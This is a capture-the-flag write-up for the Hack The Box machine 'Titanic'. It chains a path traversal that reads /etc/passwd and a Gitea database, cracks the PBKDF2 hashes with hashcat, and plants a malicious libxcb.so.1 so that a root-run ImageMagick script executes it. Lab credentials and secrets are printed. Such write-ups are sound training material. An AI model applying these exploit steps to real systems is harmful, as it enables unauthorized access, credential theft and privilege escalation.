Easy
Titanic [45 pts]
Challenge Description |
Points: 45 |
- discover path traversal on website to recover user flag and gitea database
- recover user password from gitea database to gain access to box
- use CVE for ImageMagick in a script running periodically as root to read root flag
Enumeration
Start enumeration with nmap
to see, which ports are open on the box.
kali@kali:~/HTB/titanic $ nmap -sC -sV -oA nmap/titanic 10.10.11.55
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-17 16:41 EST
Nmap scan report for 10.10.11.55
Host is up (0.089s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
We can see that HTTP server is running on port 80. Also don’t forget to add hostname to /etc/hosts
.
sudo sh -c "echo \"10.10.11.55 \t titanic.htb\" >> /etc/hosts"
Let’s check it out. The web application located on the server is for booking trips on the Titanic.
The only thing that appears to be working is booking a trip, so let’s try that.
After clicking on submit two things happen:
- first is a POST request to
/book
with booking information
- this redirects to
/download?ticket=
followed by ID of the ticket, which looks like a UID
- it also downloads the ticket as a file, so we can assume that the tickets are stored in the app
First, let’s check if we can access some other files via path traversal in the download
request. We can test this by fetching for example /etc/hosts
, but since we don’t know in which directory we currently are, we need to append ../
(multiple times) to see, if we can get to the root directory.
kali@kali:~/HTB $ curl http://titanic.htb/download?ticket=../../../../etc/hosts
127.0.0.1 localhost titanic.htb dev.titanic.htb
127.0.1.1 titanic
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Okay we can fetch /etc/hosts
, but we can we fetch user flag? Maybe, but we don’t know the name of the user. However, we can fetch /etc/passwd
and look for user with id 1000, which is usually the first ID assigned to legitimate user. In this case, we can find user with username developer
.
kali@kali:~/HTB $ curl http://titanic.htb/download?ticket=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
...
developer:x:1000:1000:developer:/home/developer:/bin/bash
...
Okay, let’s try to fetch the user flag.
kali@kali:~/HTB $ curl http://titanic.htb/download?ticket=../../../../home/developer/user.txt
08a439c34ad9144e15...
We managed to get the user flag, however we can’t do much else from here, since we don’t have direct access to the box. Let’s try to enumerate for virtual hosts
kali@kali:~/HTB/titanic $ gobuster vhost --append-domain -u http://titanic.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt | grep -v 301
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://titanic.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.titanic.htb Status: 200 [Size: 13982]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================
Gitea
We found a virtual host dev.titanic.htb
(add it to our /etc/hosts
). It’s a Gitea app, which is basically used for managing git repositories. Visit Explore/Flask-app
to see, what repositories are available
The second repository is the source code of the titanic web server. For example, we can look for the code part which is vulnerable to path traversal in download
endpoint.
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket)
# ...
When going back to the repository overview, we can see another repository from the developer user.
It contains 2 docker files: mysql
and gitea
. I also noticed that when searching (using the path traversal in download
) for non-existing directory we get a 404
{"error":"Ticket not found"}
but when searching for directory (which exists) we get 500 internal error. Another good idea is to check branches/logs whenever working with git, but it looks empty. When checking out gitea
repository, we can see docker-compose.yml
with the following contents:
version: '3'
services:
gitea:
image: gitea/gitea
container_name: gitea
ports:
- "127.0.0.1:3000:3000"
- "127.0.0.1:2222:22" # Optional for SSH access
volumes:
- /home/developer/gitea/data:/data # Replace with your path
environment:
- USER_UID=1000
- USER_GID=1000
restart: always
The data
directory for the container is mounted from /home/developer/gitea/data
. When I first saw this I thought about somehow leaking the gitea
users database, which should contain passwords. Now the goal is to find the database file. After a quick search and a little bit of trial and error I managed to fetch gitea
configuration file
kali@kali:~/HTB $ curl http://titanic.htb/download?ticket=../../../../home/developer/gitea/data/gitea/conf/app.ini
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea
[repository]
ROOT = /data/git/repositories
[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo
[repository.upload]
TEMP_PATH = /data/gitea/uploads
[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable
We can see that the database is located at /data/gitea/gitea.db
, which is equivalent to ../../../../home/developer/gitea/data/gitea/gitea.db
in our path traversal exploit. Let’s download the database so we can query it.
curl http://titanic.htb/download?ticket=../../../../home/developer/gitea/data/gitea/gitea.db > gitea.db
Now that we have the database file, we can query it directly. For example display tables in the database (since there are so many, I will only display some)
kali@kali:~/HTB/titanic $ sqlite3 gitea.db ".tables"
access oauth2_grant
...
language_stat user
...
oauth2_authorization_code webhook
We can see that user
table exists. Let’s dump its columns (again, only showing a first few and clearing the output abit)
kali@kali:~/HTB/titanic $ sqlite3 gitea.db ".schema user"
CREATE TABLE `user` (
`id` INTEGER PRIMARY KEY,
`lower_name` TEXT,
`name` TEXT,
`full_name` TEXT,
`email` TEXT,
`keep_email_private` INTEGER,
`email_notifications_preference` TEXT,
`passwd` TEXT,
`passwd_hash_algo` TEXT,
`must_change_password` INTEGER,
`login_type` INTEGER,
`login_source` INTEGER,
`login_name` TEXT,
`type` INTEGER,
`location` TEXT,
`website` TEXT,
`rands` TEXT,
`salt` TEXT,
...
);
After listing all the users I noticed that the algorithm used is pbkdf2. I found HTB: Compiled blog with similar steps (also recovering passwords from gitea
), so we can follow it. First, list only developer
and administrator
users from the table (since there are more accounts from other players)
kali@kali:~/HTB/titanic $ sqlite3 gitea.db "select name, passwd, salt, passwd_hash_algo from user where lower_name = 'developer' or lower_name = 'administrator'" | tee users.gitea
administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|2d149e5fbd1b20cf31db3e3c6a28fc9b|pbkdf2$50000$50
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34|pbkdf2$50000$50
We will be needing name, passwd and salt (i am outputting also password hash algorithm to confirm that we are using pbkdf2). In order to crack the hashes with hashcat, we need to put them into specific format (see blog)
- the format for hashcat is
sha256:iteration:salt:digest
format - both hash and passwords are in hex, not base64, so we need to take them and convert them
- put it all together in the correct format
kali@kali:~/HTB/titanic $ for f in $(cat users.gitea); do hash=$(echo $f | cut -d'|' -f2 | xxd -r -p | base64); salt=$(echo $f | cut -d'|' -f3 | xxd -r -p | base64); user=$(echo $f | cut -d"|" -f1); echo -e "$user":sha256:50000:"$salt":"$hash"; done | tee hashes.gitea
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
Now use hashcat to crack the passwords
hashcat -a 0 --user hashes.gitea /usr/share/wordlists/rockyou.txt.gz
and after a while we get a result
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
which enables us to ssh into the box as developer
with password 25282528
.
Privesc
After running linpeas, I noticed that the web application files for titanic are in /opt/app
, but there is also /opt/scripts
, which contains unusual file identify_images
(owned by root).
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
This script lists all files ending with *.jpg
from /opt/app/static/assets/images
and runs /usr/bin/magick identify
on them. The results are stored in metadata.log
. Fortunately, the /opt/app/static/assets/images
has group permissions for writing for group developer
, so we can add files into it. For example, we can add test.jpg
file and notice, that after some time, the metadada.log
file contains our file. This means that the script is running automatically with root privileges. So the idea is to find a vulnerability for the /usr/bin/magick identify
command to get either RCE or arbitrary file read.
Luckily, after some googling I found this CVE: Arbitrary Code Execution in AppImage
version ImageMagick
. It also comes with a simple PoC, we just need to replace the id
command with cat /root/root.txt
.
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cat /root/root.txt");
exit(0);
}
EOF
The script creates a library file libxcb.so.1
, which when ImageMagick
runs, the command gets (somehow) executed. Now if we wait a little bit and print the metadata.log
file, we should see root flag.
developer@titanic:/opt/app/static/assets/images $ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cat /root/root.txt");
exit(0);
}
EOF
developer@titanic:/opt/app/static/assets/images $ ls
entertainment.jpg favicon.ico libxcb.so.1 metadata.log
exquisite-dining.jpg home.jpg luxury-cabins.jpg
developer@titanic:/opt/app/static/assets/images $ cat metadata.log
/opt/app/static/assets/images/luxury-cabins.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280817B
/opt/app/static/assets/images/entertainment.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 291864B
/opt/app/static/assets/images/home.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 232842B
/opt/app/static/assets/images/exquisite-dining.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280854B
developer@titanic:/opt/app/static/assets/images $ date
Thu Feb 20 06:08:37 PM UTC 2025
developer@titanic:/opt/app/static/assets/images $ date
Thu Feb 20 06:09:05 PM UTC 2025
developer@titanic:/opt/app/static/assets/images $ cat metadata.log
325b12626c2cf67e97eb...